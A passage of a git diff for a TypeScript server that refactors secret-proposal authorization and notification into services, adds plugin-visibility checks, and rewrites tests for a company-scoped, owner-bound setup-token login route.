     assertBoardOrgAccess(req);
+    assertPluginManagementVisible();
 
     if (!bridgeDeps) {
       res.status(501).json({ error: "Plugin bridge is not enabled" });
@@ -2893,6 +2915,7 @@ export function pluginRoutes(
 
   router.put("/plugins/:pluginId/companies/:companyId/local-folders/:folderKey", async (req, res) => {
     assertBoardOrgAccess(req);
+    assertPluginManagementVisible();
     const { pluginId, companyId, folderKey } = req.params;
     assertCompanyAccess(req, companyId);
 
diff --git a/server/src/routes/projects.ts b/server/src/routes/projects.ts
index 50b4be27853..c01a028ddb6 100644
--- a/server/src/routes/projects.ts
+++ b/server/src/routes/projects.ts
@@ -489,6 +489,7 @@ export function projectRoutes(db: Db) {
               worktreePath: null,
               warnings: [],
               created: false,
+              branchCreatedByRuntime: false,
             },
             command: workspaceCommand.rawConfig,
             adapterEnv: {},
@@ -544,6 +545,7 @@ export function projectRoutes(db: Db) {
               worktreePath: null,
               warnings: [],
               created: false,
+              branchCreatedByRuntime: false,
             },
             config: { workspaceRuntime: runtimeConfig },
             adapterEnv: {},
diff --git a/server/src/routes/routines.ts b/server/src/routes/routines.ts
index a9f0e7eee6b..c8c94335ddf 100644
--- a/server/src/routes/routines.ts
+++ b/server/src/routes/routines.ts
@@ -12,7 +12,7 @@ import {
   updateRoutineTriggerSchema,
 } from "@paperclipai/shared";
 import { trackRoutineCreated } from "@paperclipai/shared/telemetry";
-import { validate } from "../middleware/validate.js";
+import { validate, validateIssueMutationBody } from "../middleware/validate.js";
 import { accessService, documentAnnotationService, logActivity, routineService } from "../services/index.js";
 import { assertCompanyAccess, getAccessibleResource, getActorInfo, hasCompanyAccess } from "./authz.js";
 import { forbidden, unauthorized } from "../errors.js";
@@ -626,7 +626,7 @@ export function routineRoutes(
     },
   );
 
-  router.post("/routines/:id/run", validate(runRoutineSchema), async (req, res) => {
+  router.post("/routines/:id/run", validateIssueMutationBody(runRoutineSchema), async (req, res) => {
     const routine = await assertCanManageExistingRoutine(req, req.params.id as string);
     if (!routine) {
       res.status(404).json({ error: "Routine not found" });
diff --git a/server/src/routes/secrets.ts b/server/src/routes/secrets.ts
index 2dfeedf0717..e933b135e88 100644
--- a/server/src/routes/secrets.ts
+++ b/server/src/routes/secrets.ts
@@ -25,12 +25,10 @@ import { authorizationDeniedDetails } from "../services/authorization.js";
 import { accessService } from "../services/access.js";
 import { heartbeatService } from "../services/heartbeat.js";
 import { issueService } from "../services/issues.js";
-import {
-  queueIssueAssignmentWakeup,
-  type IssueAssignmentWakeupDeps,
-} from "../services/issue-assignment-wakeup.js";
+import type { IssueAssignmentWakeupDeps } from "../services/issue-assignment-wakeup.js";
 import { createRunSecretRedactionRegistry } from "../services/run-secret-redaction.js";
-import { logger } from "../middleware/logger.js";
+import { notifySecretProposalResolution } from "../services/secret-proposal-notifications.js";
+import { assertCanResolveProposal } from "../services/secret-proposal-authorization.js";
 
 type SecretRoutesDeps = {
   heartbeat?: IssueAssignmentWakeupDeps;
@@ -168,20 +166,6 @@ export function secretRoutes(db: Db, deps: SecretRoutesDeps = {}) {
     });
   }
 
-  async function assertCanResolveProposal(req: Parameters<typeof assertBoard>[0], proposal: {
-    kind: string;
-    targetId: string | null;
-  }) {
-    if (proposal.kind === "secret") {
-      assertSecretDefinitionAdmin(req, req.params.companyId as string);
-      return;
-    }
-    const decision = await bindingApprovalDecision(req, proposal);
-    if (decision && !decision.allowed) {
-      throw forbidden(decision.explanation, authorizationDeniedDetails(decision));
-    }
-  }
-
   async function boardProposalView(req: Parameters<typeof assertBoard>[0], proposal: Awaited<ReturnType<typeof proposals.listForBoard>>[number]) {
     if (proposal.status !== "pending") {
       return { ...proposal, viewerCanApprove: false, approveBlockReason: "Proposal is no longer pending" };
@@ -197,49 +181,6 @@ export function secretRoutes(db: Db, deps: SecretRoutesDeps = {}) {
     };
   }
 
-  async function notifyProposalResolution(input: {
-    proposal: { originIssueId: string | null; kind: string; proposedName: string | null; configPath: string | null };
-    status: "approved" | "rejected";
-    userId: string;
-    reason?: string | null;
-  }) {
-    if (!input.proposal.originIssueId) return;
-    try {
-      const issue = await issues.getById(input.proposal.originIssueId);
-      if (!issue) return;
-      const subject = input.proposal.kind === "secret"
-        ? `secret proposal \`${input.proposal.proposedName ?? "unnamed"}\``
-        : `binding proposal \`${input.proposal.configPath ?? "unknown"}\``;
-      const reason = input.reason ? `\n\nReason: ${input.reason}` : "";
-      try {
-        await issues.addComment(
-          issue.id,
-          `Secret proposal resolution\n\n- Proposal: ${subject}\n- Status: **${input.status}**${reason}`,
-          { userId: input.userId },
-        );
-      } catch (err) {
-        logger.warn(
-          { err, issueId: issue.id, proposalStatus: input.status },
-          "failed to post secret proposal resolution comment",
-        );
-      }
-      await queueIssueAssignmentWakeup({
-        heartbeat,
-        issue,
-        reason: "secret_proposal_resolved",
-        mutation: `secret_proposal_${input.status}`,
-        contextSource: "secret.proposal.resolution",
-        requestedByActorType: "user",
-        requestedByActorId: input.userId,
-      });
-    } catch (err) {
-      logger.warn(
-        { err, issueId: input.proposal.originIssueId, proposalStatus: input.status },
-        "failed to notify origin issue about secret proposal resolution",
-      );
-    }
-  }
-
   router.post("/agents/me/secret-proposals", async (req, res) => {
     const context = await proposalAgentContext(req);
     const body = req.body ?? {};
@@ -257,7 +198,8 @@ export function secretRoutes(db: Db, deps: SecretRoutesDeps = {}) {
         })
       : body.kind === "binding"
         ? await proposals.createBinding({ companyId: context.companyId, heartbeatRunId: context.heartbeatRunId }, {
-            secretId: body.secretId, secretProposalId: body.secretProposalId, targetAgentId: body.targetAgentId,
+            secretId: body.secretId, sourceConfigPath: body.sourceConfigPath,
+            secretProposalId: body.secretProposalId, targetAgentId: body.targetAgentId,
             configPath: body.configPath, justification: body.justification, bindingTargetPolicy: "self_and_reports",
           })
         : (() => { throw unprocessable("kind must be secret or binding"); })();
@@ -305,14 +247,27 @@ export function secretRoutes(db: Db, deps: SecretRoutesDeps = {}) {
     assertCompanySecretWrite(req, companyId);
     const proposal = await proposals.getById(companyId, req.params.id as string);
     if (!proposal) throw notFound("Secret proposal not found");
-    await assertCanResolveProposal(req, proposal);
+    await assertCanResolveProposal({
+      db,
+      actor: req.actor,
+      companyId,
+      proposal,
+      assertSecretDefinitionAdmin: () => assertSecretDefinitionAdmin(req, companyId),
+    });
     const resolvedByUserId = req.actor.userId ?? "board";
     const approved = await proposals.approve(companyId, proposal.id, {
       resolvedByUserId,
       cascade: req.body?.cascade === true,
       overrides: req.body?.overrides,
+      assertCanResolve: (lockedProposal, txDb) => assertCanResolveProposal({
+        db: txDb,
+        actor: req.actor,
+        companyId,
+        proposal: lockedProposal,
+        assertSecretDefinitionAdmin: () => assertSecretDefinitionAdmin(req, companyId),
+      }),
     });
-    await notifyProposalResolution({ proposal, status: "approved", userId: resolvedByUserId });
+    await notifySecretProposalResolution({ proposal, status: "approved", userId: resolvedByUserId, issues, heartbeat });
     res.json(await boardProposalView(req, await proposals.view(approved)));
   });
 
@@ -324,12 +279,25 @@ export function secretRoutes(db: Db, deps: SecretRoutesDeps = {}) {
     if (!reason) throw unprocessable("Rejection reason is required");
     const existing = await proposals.getById(companyId, req.params.id as string);
     if (!existing) throw notFound("Secret proposal not found");
-    await assertCanResolveProposal(req, existing);
+    await assertCanResolveProposal({
+      db,
+      actor: req.actor,
+      companyId,
+      proposal: existing,
+      assertSecretDefinitionAdmin: () => assertSecretDefinitionAdmin(req, companyId),
+    });
     const resolvedByUserId = req.actor.userId ?? "board";
     const proposal = await proposals.transition(companyId, req.params.id as string, "rejected", {
       resolvedByUserId, reason,
     });
-    await notifyProposalResolution({ proposal: existing, status: "rejected", userId: resolvedByUserId, reason });
+    await notifySecretProposalResolution({
+      proposal: existing,
+      status: "rejected",
+      userId: resolvedByUserId,
+      reason,
+      issues,
+      heartbeat,
+    });
     res.json(await boardProposalView(req, await proposals.view(proposal)));
   });
 
@@ -348,7 +316,10 @@ export function secretRoutes(db: Db, deps: SecretRoutesDeps = {}) {
       details: { count: secrets.length },
     });
     res.json({
-      secrets: secrets.map(({ secretId: _secretId, bindingId: _bindingId, configPath: _configPath, ...secret }) => secret),
+      secrets: secrets.map(({ secretId, bindingId: _bindingId, configPath: _configPath, ...secret }) => ({
+        ...secret,
+        secretRef: secretId,
+      })),
     });
   });
 
diff --git a/server/src/routes/setup-token-route.test.ts b/server/src/routes/setup-token-route.test.ts
index 53f19d2d345..269a78d057b 100644
--- a/server/src/routes/setup-token-route.test.ts
+++ b/server/src/routes/setup-token-route.test.ts
@@ -1,18 +1,20 @@
 // The wired setup-token login route. This test drives the full login path —
-// start, read-prompt, submit-code, and receive-token — through the HTTP route
-// with a fake transport. It proves the guarded session contract is the live
-// login path and that the security controls hold end to end at the route level.
+// start, read-prompt, submit-code, and completion — through the HTTP route with
+// a fake transport. It proves the guarded session contract is the live login
+// path and that the security controls hold end to end at the route level.
 //
 // The test covers these criteria (the full set is on the parent plan document):
 //   * The full path returns the sign-in URL to the owner, accepts one code, and
-//     returns the minted token one time.
+//     returns the non-secret storedSessionId claim after the secret write, with
+//     no token.
 //   * SR-1 and SR-5: the browser code, the authorization-URL query values, and
 //     the token never reach the request log, an activity detail, the exception
 //     metadata, or a non-owner response. The owner read-prompt response carries
 //     the full URL with `Cache-Control: no-store`; every other response carries
 //     the sanitized URL form only.
-//   * SR-6 and SR-7: the fail-closed confidential transport guard rejects a
-//     non-TLS request and a spoofed forwarded protocol through the wired route.
+//   * The route does not force TLS. On a non-confidential
+//     transport it proceeds and attaches a non-blocking advisory to the
+//     response, so the login completes and the client shows a disclaimer.
 
 import express from "express";
 import { Writable } from "node:stream";
@@ -21,21 +23,25 @@ import { beforeEach, describe, expect, it, vi } from "vitest";
 
 import {
   SETUP_TOKEN_SESSION_NOT_FOUND,
-  SETUP_TOKEN_SUBMIT_CONFLICT,
-  SETUP_TOKEN_TRANSPORT_INSECURE,
+  SETUP_TOKEN_PROVIDER_UNSUPPORTED,
   type SetupTokenCleanupRecord,
   type SetupTokenCleanupStore,
   type SetupTokenLeaseManager,
   type SetupTokenLoginOutcome,
   type SetupTokenLoginProcessFactory,
+  type SetupTokenSecretWriter,
 } from "../services/setup-token-session.js";
+import { SETUP_TOKEN_TRANSPORT_ADVISORY_CODE } from "@paperclipai/shared";
 
 // --- Test fixtures -----------------------------------------------------------
 
 const COMPANY_ID = "company-1";
+const OTHER_COMPANY_ID = "company-2";
 const OWNER_USER_ID = "owner-user-1";
 const OTHER_USER_ID = "other-user-2";
 const AGENT_ID = "11111111-1111-4111-8111-111111111111";
+const ENVIRONMENT_ID = "22222222-2222-4222-8222-222222222222";
+const OTHER_ENVIRONMENT_ID = "33333333-3333-4333-8333-333333333333";
 
 // The distinctive secret values. Each holds a unique marker, so a substring
 // check proves the value never reached a sink.
@@ -69,6 +75,18 @@ function expectNoSecret(text: string): void {
 // --- Service mocks -----------------------------------------------------------
 
 const mockAgentService = vi.hoisted(() => ({ getById: vi.fn() }));
+// The environment service the company-and-environment routes call to resolve the
+// sandbox environment server-side. A test sets the resolved environment shape to
+// prove the fail-closed environment guard.
+const mockEnvironmentService = vi.hoisted(() => ({
+  getById: vi.fn(),
+  listBoundCompanyIds: vi.fn(),
+}));
+// The provider-capability resolver the setup-token routes call to gate the login
+// on the provider setup-token capability. The default resolves "daytona" as a
+// capable provider. A test overrides it to prove an unsupported provider fails
+// closed before a session row, a lease, or a pseudo-terminal.
+const mockResolvePluginSandboxProviderDriverByKey = vi.hoisted(() => vi.fn());
 const mockLogActivity = vi.hoisted(() => vi.fn());
 const mockHeartbeatService = vi.hoisted(() => ({ wakeup: vi.fn() }));
 const mockIssueService = vi.hoisted(() => ({ getById: vi.fn(), getByIdentifier: vi.fn() }));
@@ -81,10 +99,50 @@ const mockInstanceSettingsService = vi.hoisted(() => ({
 const mockRunSecretRedactionRegistry = vi.hoisted(() => ({
   redactForRun: vi.fn(async (_companyId: string, _runId: string, value: unknown) => value),
 }));
+// The narrow secrets service the status route calls. The route reads only
+// `readClaudeOAuthUserSecretStatus`; a test drives its result to prove the route
+// derives the owner from the actor and discloses no existence distinction.
+const mockSecretService = vi.hoisted(() => ({
+  readClaudeOAuthUserSecretStatus: vi.fn(),
+}));
+// The registry lookup the start-route guard reads. A `beforeEach` sets the
+// default so `claude_local` declares the setup-token capability. A test overrides
+// it to prove the guard reads the capability, not the adapter name.
+const mockFindActiveServerAdapter = vi.hoisted(() => vi.fn());
+
+// The Claude setup-token login capability the registry declares for the built-in
+// adapter. The guard requires the pseudo-terminal transport and the stored-session
+// completion claim.
+const CLAUDE_LOGIN_CAPABILITY = {
+  panelMode: "submitted_browser_code",
+  sandboxTransport: "pseudo_terminal",
+  timeoutPolicy: "fixed",
+  completionClaim: "storedSessionId",
+  getCommand: () => "",
+  parsePrompt: () => null,
+} as const;
 
 function registerModuleMocks(): void {
   vi.doMock("../routes/authz.js", async () => vi.importActual("../routes/authz.js"));
+  vi.doMock("../services/secrets.js", async () => {
+    const actual = await vi.importActual<typeof import("../services/secrets.js")>(
+      "../services/secrets.js",
+    );
+    return { ...actual, secretService: () => mockSecretService };
+  });
   vi.doMock("../services/agents.js", () => ({ agentService: () => mockAgentService }));
+  vi.doMock("../services/environments.js", () => ({
+    environmentService: () => mockEnvironmentService,
+  }));
+  vi.doMock("../services/plugin-environment-driver.js", async () => {
+    const actual = await vi.importActual<typeof import("../services/plugin-environment-driver.js")>(
+      "../services/plugin-environment-driver.js",
+    );
+    return {
+      ...actual,
+      resolvePluginSandboxProviderDriverByKey: mockResolvePluginSandboxProviderDriverByKey,
+    };
+  });
   vi.doMock("../services/heartbeat.js", () => ({ heartbeatService: () => mockHeartbeatService }));
   vi.doMock("../services/instance-settings.js", () => ({
     instanceSettingsService: () => mockInstanceSettingsService,
@@ -118,11 +176,16 @@ function registerModuleMocks(): void {
     syncInstructionsBundleConfigFromFilePath: vi.fn((_agent: unknown, config: unknown) => config),
     workspaceOperationService: () => ({}),
   }));
+  // The start-route guard reads the login capability from the registry. The
+  // `beforeEach` default declares the Claude setup-token capability for
+  // `claude_local` and no capability for any other type, so the guard passes for
+  // `claude_local` and fails closed for a different adapter through capability
+  // data alone.
   vi.doMock("../adapters/index.js", () => ({
     findServerAdapter: vi.fn(),
     listAdapterModels: vi.fn(),
     detectAdapterModel: vi.fn(),
-    findActiveServerAdapter: vi.fn(),
+    findActiveServerAdapter: mockFindActiveServerAdapter,
     requireServerAdapter: vi.fn(),
   }));
 }
@@ -140,39 +203,94 @@ function useOwner(userId: string = OWNER_USER_ID): void {
   };
 }
 
+// Installs a non-`local_implicit` company member. The actor is a signed-in
+// board user with an explicit company allow-list, so `hasCompanyAccess` denies a
+// company that is not on the list. A test uses this actor to prove the
+// cross-company read returns the fixed not-found error, not a membership oracle.
+function useCompanyMember(userId: string = OWNER_USER_ID, companyIds: string[] = [COMPANY_ID]): void {
+  currentActor = {
+    type: "board",
+    userId,
+    companyIds,
+    source: "session",
+    isInstanceAdmin: false,
+    memberships: companyIds.map((companyId) => ({
+      companyId,
+      status: "active",
+      membershipRole: "admin",
+    })),
+  };
+}
+
 // --- Fake transport ----------------------------------------------------------
 
 interface TransportHandle {
   factory: SetupTokenLoginProcessFactory;
   leases: SetupTokenLeaseManager;
   store: SetupTokenCleanupStore;
+  completeCredential: SetupTokenSecretWriter;
   submittedCodes: string[];
+  secretWrites: string[];
+  // The overwrite capture the session scope carried on each secret write. A
+  // first-write login records null; a confirmed-overwrite login records the
+  // captured expected secret id and version.
+  overwriteCaptures: Array<
+    { expectedSecretId: string; expectedLatestVersion: number } | null
+  >;
+  // Every cleanup record the store persisted. A test asserts the route writes no
+  // empty environment scope, so a rejected environment never reaches the store.
+  records: SetupTokenCleanupRecord[];
+  // The count of login-process (pseudo-terminal) starts. A test asserts an
+  // unsupported provider starts no pseudo-terminal.
+  factoryInvocations: { count: number };
 }
 
 /**
  * Builds a fake login transport. The factory surfaces the sign-in URL at once.
- * On submit it either completes the login and delivers the token, throws an
- * internal error, or leaves the process pending. The lease manager and the store
- * are in-memory and hold no secret.
+ * On submit it either completes the login and writes the credential, throws an
+ * internal error, or leaves the process pending. The lease manager, the store,
+ * and the secret writer are in-memory and hold no secret in a durable sink.
  */
 function buildTransport(opts: { onSubmit?: "complete" | "throw" | "pending" } = {}): TransportHandle {
   const mode = opts.onSubmit ?? "complete";
   const submittedCodes: string[] = [];
+  // The owner-bound secret writer records only the token it received in memory,
+  // so a test can prove the write ran without a durable secret sink. It also
+  // records the overwrite capture from the session scope, so a test proves the
+  // start route threads the capture into the immutable scope.
+  const secretWrites: string[] = [];
+  const overwriteCaptures: Array<
+    { expectedSecretId: string; expectedLatestVersion: number } | null
+  > = [];
+  const completeCredential: SetupTokenSecretWriter = async (input) => {
+    secretWrites.push(input.token);
+    overwriteCaptures.push(input.scope.confirmedOverwrite ?? null);
+  };
   const rows = new Map<string, SetupTokenCleanupRecord>();
+  const records: SetupTokenCleanupRecord[] = [];
   const store: SetupTokenCleanupStore = {
     async record(record) {
       rows.set(record.sessionId, { ...record });
+      records.push({ ...record });
     },
-    async markState(sessionId, state) {
-      const row = rows.get(sessionId);
+    async markState(identity, state) {
+      const row = rows.get(identity.sessionId);
       if (row) row.state = state;
     },
-    async remove(sessionId) {
-      rows.delete(sessionId);
+    async remove(identity) {
+      rows.delete(identity.sessionId);
     },
     async listReapable() {
       return [];
     },
+    async consumeStoredClaim(identity) {
+      const row = rows.get(identity.sessionId);
+      if (!row || row.state !== "stored" || row.boundAt !== null || row.deadline <= Date.now()) {
+        return null;
+      }
+      row.boundAt = Date.now();
+      return { ...row };
+    },
   };
   const leases: SetupTokenLeaseManager = {
     async acquire() {
@@ -181,7 +299,9 @@ function buildTransport(opts: { onSubmit?: "complete" | "throw" | "pending" } =
     async release() {},
     async releaseById() {},
   };
+  const factoryInvocations = { count: 0 };
   const factory: SetupTokenLoginProcessFactory = ({ onPrompt, onCredential }) => {
+    factoryInvocations.count += 1;
     onPrompt({ url: FULL_LOGIN_URL });
     let resolveDone!: (outcome: SetupTokenLoginOutcome) => void;
     const done = new Promise<SetupTokenLoginOutcome>((resolve) => {
@@ -195,15 +315,29 @@ function buildTransport(opts: { onSubmit?: "complete" | "throw" | "pending" } =
           throw new Error("the sandbox pseudo-terminal write failed.");
         }
         if (mode === "complete") {
-          onCredential(MINTED_TOKEN);
-          resolveDone("success");
+          // Await the credential sink (the owner-bound secret write) before the
+          // process reports success, the way the real runner awaits its sink.
+          void onCredential(MINTED_TOKEN).then(
+            () => resolveDone("success"),
+            () => resolveDone("failure"),
+          );
         }
         // pending: the process stays open; the test drives no completion.
       },
       stop() {},
     };
   };
-  return { factory, leases, store, submittedCodes };
+  return {
+    factory,
+    leases,
+    store,
+    completeCredential,
+    submittedCodes,
+    secretWrites,
+    overwriteCaptures,
+    records,
+    factoryInvocations,
+  };
 }
 
 // --- App builder with a capturing request logger -----------------------------
@@ -216,6 +350,7 @@ interface AppHandle {
 async function createApp(opts: {
   deploymentMode?: "local_trusted" | "authenticated";
   confidentialProxyAllowlist?: string[];
+  confidentialEdgeTlsTerminated?: boolean;
   transport?: TransportHandle;
 } = {}): Promise<AppHandle> {
   const [{ agentRoutes }, { errorHandler }, pinoModule, pinoHttpModule, redactModule] =
@@ -288,8 +423,14 @@ async function createApp(opts: {
     agentRoutes({} as never, {
       deploymentMode: opts.deploymentMode,
       confidentialProxyAllowlist: opts.confidentialProxyAllowlist,
+      confidentialEdgeTlsTerminated: opts.confidentialEdgeTlsTerminated,
       setupTokenLogin: opts.transport
-        ? { factory: opts.transport.factory, leases: opts.transport.leases, store: opts.transport.store }
+        ? {
+            factory: opts.transport.factory,
+            leases: opts.transport.leases,
+            store: opts.transport.store,
+            completeCredential: opts.transport.completeCredential,
+          }
         : undefined,
     }),
   );
@@ -305,224 +446,685 @@ async function settle(): Promise<void> {
   }
 }
 
-const BASE = `/api/agents/${AGENT_ID}/setup-token-login-sessions`;
-
 beforeEach(() => {
   vi.resetModules();
   registerModuleMocks();
   vi.clearAllMocks();
   useOwner();
+  // The default registry declares the Claude setup-token capability for
+  // `claude_local` and no capability for any other type. A test overrides this to
+  // prove the guard reads the capability, not the adapter name.
+  mockFindActiveServerAdapter.mockImplementation((type: string) =>
+    type === "claude_local" ? { type, loginCapability: CLAUDE_LOGIN_CAPABILITY } : undefined,
+  );
+  // The default owner has no stored Claude value. A test overrides this to prove
+  // the status route returns the metadata for a present owner value.
+  mockSecretService.readClaudeOAuthUserSecretStatus.mockResolvedValue(null);
   mockAgentService.getById.mockResolvedValue({
     id: AGENT_ID,
     companyId: COMPANY_ID,
     name: "Claude agent",
     adapterType: "claude_local",
+    defaultEnvironmentId: ENVIRONMENT_ID,
   });
+  // The default resolved environment is an active sandbox on a provider that
+  // supports the setup-token login, so the start routes pass the fail-closed
+  // guard. A test overrides this to prove the guard rejects an invalid
+  // environment or an unsupported provider.
+  mockEnvironmentService.getById.mockResolvedValue({
+    id: ENVIRONMENT_ID,
+    driver: "sandbox",
+    status: "active",
+    config: { provider: "daytona" },
+  });
+  // The default environment has no company binding, so it is instance-global
+  // and open to every member. A test overrides this to prove the guard rejects
+  // an environment that another company owns.
+  mockEnvironmentService.listBoundCompanyIds.mockResolvedValue([]);
+  // The default provider advertises the setup-token login capability. A test
+  // overrides this to prove an unsupported provider fails closed.
+  mockResolvePluginSandboxProviderDriverByKey.mockImplementation(
+    async ({ driverKey }: { driverKey: string }) =>
+      driverKey === "daytona"
+        ? { plugin: { id: "plugin-daytona" }, driver: { supportsLoginPty: true } }
+        : null,
+  );
 });
 
-describe("setup-token login route — full path", () => {
-  it("drives start, read-prompt, submit-code, and receive-token with a fake transport", async () => {
+// --- Company-and-environment routes ------------------------------------------
+//
+// These tests drive the agentless Claude login. The scope binds one login to one
+// company, one owner, one adapter, and one environment. The route carries no
+// agent id, resolves the environment server-side, and returns the same not-found
+// error for a foreign session as for a missing session.
+
+const COMPANY_BASE = `/api/companies/${COMPANY_ID}/setup-token-login-sessions`;
+
+// Starts a company-and-environment login and returns the session id. The default
+// body names the Claude adapter and the resolved sandbox environment.
+async function startCompanySession(
+  app: express.Express,
+  body: Record<string, unknown> = { environmentId: ENVIRONMENT_ID, adapterType: "claude_local" },
+): Promise<request.Response> {
+  return request(app).post(COMPANY_BASE).send(body);
+}
+
+describe("company-and-environment setup-token route — full path", () => {
+  it("drives start, status, prompt, code, and completion with no agent id", async () => {
     const transport = buildTransport({ onSubmit: "complete" });
     const { app } = await createApp({ transport });
 
-    // Start the session. The route returns the opaque id and no secret.
-    const startRes = await request(app).post(BASE).send({});
+    // Start. The response carries the environment, the panel mode, and no prompt
+    // and no secret. The full login URL rides only in the guarded prompt read.
+    const startRes = await startCompanySession(app);
     expect(startRes.status, JSON.stringify(startRes.body)).toBe(201);
     const sessionId = startRes.body.sessionId as string;
     expect(sessionId).toBeTruthy();
+    expect(startRes.body.environmentId).toBe(ENVIRONMENT_ID);
+    expect(startRes.body.status).toBe("waiting_for_user");
+    expect(startRes.body.panelMode).toBe("submitted_browser_code");
+    expect(startRes.body.prompt).toBeNull();
+    expect(startRes.body.failure).toBeNull();
     expect(startRes.headers["cache-control"]).toBe("no-store");
+    // The scope carries no agent id, so the response holds none.
+    expect(JSON.stringify(startRes.body)).not.toContain(AGENT_ID);
     expectNoSecret(JSON.stringify(startRes.body));
 
+    // The store persisted the resolved environment, never an empty value.
+    expect(transport.records.map((r) => r.environmentId)).toEqual([ENVIRONMENT_ID]);
+
+    // Read the public status. It carries no prompt and no secret.
+    const statusRes = await request(app).get(`${COMPANY_BASE}/${sessionId}`).send();
+    expect(statusRes.status, JSON.stringify(statusRes.body)).toBe(200);
+    expect(statusRes.body.status).toBe("waiting_for_user");
+    expect(statusRes.body.environmentId).toBe(ENVIRONMENT_ID);
+    expect(statusRes.body.prompt).toBeUndefined();
+    expectNoSecret(JSON.stringify(statusRes.body));
+
     // Read the prompt. The owner response carries the full URL, with no-store.
-    const promptRes = await request(app).get(`${BASE}/${sessionId}/prompt`).send();
+    const promptRes = await request(app).get(`${COMPANY_BASE}/${sessionId}/prompt`).send();
     expect(promptRes.status, JSON.stringify(promptRes.body)).toBe(200);
-    expect(promptRes.body.loginUrl).toBe(FULL_LOGIN_URL);
-    expect(promptRes.body.state).toBe("awaiting_code");
+    expect(promptRes.body.authorizationUrl).toBe(FULL_LOGIN_URL);
     expect(promptRes.headers["cache-control"]).toBe("no-store");
+    // The default deployment is a local-trusted loopback: a confidential
+    // transport. So the prompt carries no advisory.
+    expect(promptRes.body.transportAdvisory).toBeNull();
 
     // Submit the one browser code. The response carries no secret.
-    const codeRes = await request(app).post(`${BASE}/${sessionId}/code`).send({ browserCode: BROWSER_CODE });
+    const codeRes = await request(app)
+      .post(`${COMPANY_BASE}/${sessionId}/code`)
+      .send({ browserCode: BROWSER_CODE });
     expect(codeRes.status, JSON.stringify(codeRes.body)).toBe(200);
+    expect(codeRes.body.transportAdvisory).toBeNull();
     expect(transport.submittedCodes).toEqual([BROWSER_CODE]);
     expectNoSecret(JSON.stringify(codeRes.body));
 
     await settle();
+    expect(transport.secretWrites).toEqual([MINTED_TOKEN]);
 
-    // Receive the token one time. The owner response carries the token, with
-    // no-store.
-    const tokenRes = await request(app).post(`${BASE}/${sessionId}/token`).send({});
-    expect(tokenRes.status, JSON.stringify(tokenRes.body)).toBe(200);
-    expect(tokenRes.body.token).toBe(MINTED_TOKEN);
-    expect(tokenRes.headers["cache-control"]).toBe("no-store");
-
-    // The second receive returns the same not-found error as a missing session.
-    const secondTokenRes = await request(app).post(`${BASE}/${sessionId}/token`).send({});
-    expect(secondTokenRes.status).toBe(404);
-    expect(secondTokenRes.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
+    // Read the completion. The owner response carries the non-secret
+    // storedSessionId and no token, with no-store.
+    const completionRes = await request(app).post(`${COMPANY_BASE}/${sessionId}/completion`).send();
+    expect(completionRes.status, JSON.stringify(completionRes.body)).toBe(200);
+    expect(completionRes.body.storedSessionId).toBe(sessionId);
+    expect(completionRes.body.token).toBeUndefined();
+    expect(completionRes.headers["cache-control"]).toBe("no-store");
+    expectNoSecret(JSON.stringify(completionRes.body));
   });
 
   it("returns the fixed no-secret error when no transport is bound", async () => {
     const { app } = await createApp({});
-    const startRes = await request(app).post(BASE).send({});
+    const startRes = await startCompanySession(app);
     expect(startRes.status).toBe(503);
     expect(startRes.headers["cache-control"]).toBe("no-store");
     expectNoSecret(JSON.stringify(startRes.body));
   });
+});
 
-  it("binds the session to the owner: a different owner gets the same not-found error", async () => {
+describe("company-and-environment setup-token route — object-level authorization", () => {
+  it("returns the same not-found for a cross-owner caller on every action", async () => {
     const transport = buildTransport({ onSubmit: "pending" });
     const { app } = await createApp({ transport });
 
-    const startRes = await request(app).post(BASE).send({});
+    const startRes = await startCompanySession(app);
     const sessionId = startRes.body.sessionId as string;
 
-    // A different owner reads the same id. The route returns the not-found error,
-    // so a caller cannot tell a cross-owner session from a missing one.
+    // A different owner reads the same id. Every read action returns the
+    // not-found error, so a caller cannot tell a cross-owner session from a
+    // missing one.
     useOwner(OTHER_USER_ID);
-    const promptRes = await request(app).get(`${BASE}/${sessionId}/prompt`).send();
-    expect(promptRes.status).toBe(404);
-    expect(promptRes.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
-    expect(JSON.stringify(promptRes.body)).not.toContain(URL_CODE_QUERY);
-  });
-});
+    const paths: Array<() => request.Test> = [
+      () => request(app).get(`${COMPANY_BASE}/${sessionId}`).send(),
+      () => request(app).get(`${COMPANY_BASE}/${sessionId}/prompt`).send(),
+      () => request(app).post(`${COMPANY_BASE}/${sessionId}/code`).send({ browserCode: BROWSER_CODE }),
+      () => request(app).post(`${COMPANY_BASE}/${sessionId}/completion`).send(),
+    ];
+    for (const call of paths) {
+      const res = await call();
+      expect(res.status).toBe(404);
+      expect(res.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
+      expectNoSecret(JSON.stringify(res.body));
+    }
 
-describe("setup-token login route — SR-1 and SR-5 (no secret in a sink)", () => {
-  it("keeps the code, the URL query, and the token out of every log, activity, and non-owner sink", async () => {
-    const transport = buildTransport({ onSubmit: "complete" });
-    const { app, logLines } = await createApp({ transport });
+    // Cancel is idempotent, so a cross-owner cancel returns the same 200 success
+    // as a repeat cancel and a cancel of a missing session. The response is
+    // identical for a foreign, an already-terminal, and a missing session, so it
+    // is not an existence oracle. The route cancels nothing for a foreign id: the
+    // scope check throws before the cancel runs, so the session stays active.
+    const cancelRes = await request(app).post(`${COMPANY_BASE}/${sessionId}/cancel`).send();
+    expect(cancelRes.status).toBe(200);
+    expectNoSecret(JSON.stringify(cancelRes.body));
 
-    const startRes = await request(app).post(BASE).send({});
-    const sessionId = startRes.body.sessionId as string;
-
-    // The invalid-session path: a bogus id with the code in the body.
-    const invalidRes = await request(app)
-      .post(`${BASE}/bogus-session-id/code`)
-      .send({ browserCode: BROWSER_CODE });
-    expect(invalidRes.status).toBe(404);
-    expect(invalidRes.body.error).toBe(SETUP_TOKEN_SESSION_NOT_FOUND);
-    expectNoSecret(JSON.stringify(invalidRes.body));
-
-    // The first submit completes the login.
-    const firstCode = await request(app).post(`${BASE}/${sessionId}/code`).send({ browserCode: BROWSER_CODE });
-    expect(firstCode.status).toBe(200);
-    await settle();
-
-    // The duplicate-submit path: the same code again, after completion.
-    const duplicateRes = await request(app)
-      .post(`${BASE}/${sessionId}/code`)
-      .send({ browserCode: BROWSER_CODE });
-    expect(duplicateRes.status).toBe(409);
-    expect(duplicateRes.body.error).toBe(SETUP_TOKEN_SUBMIT_CONFLICT);
-    expectNoSecret(JSON.stringify(duplicateRes.body));
-
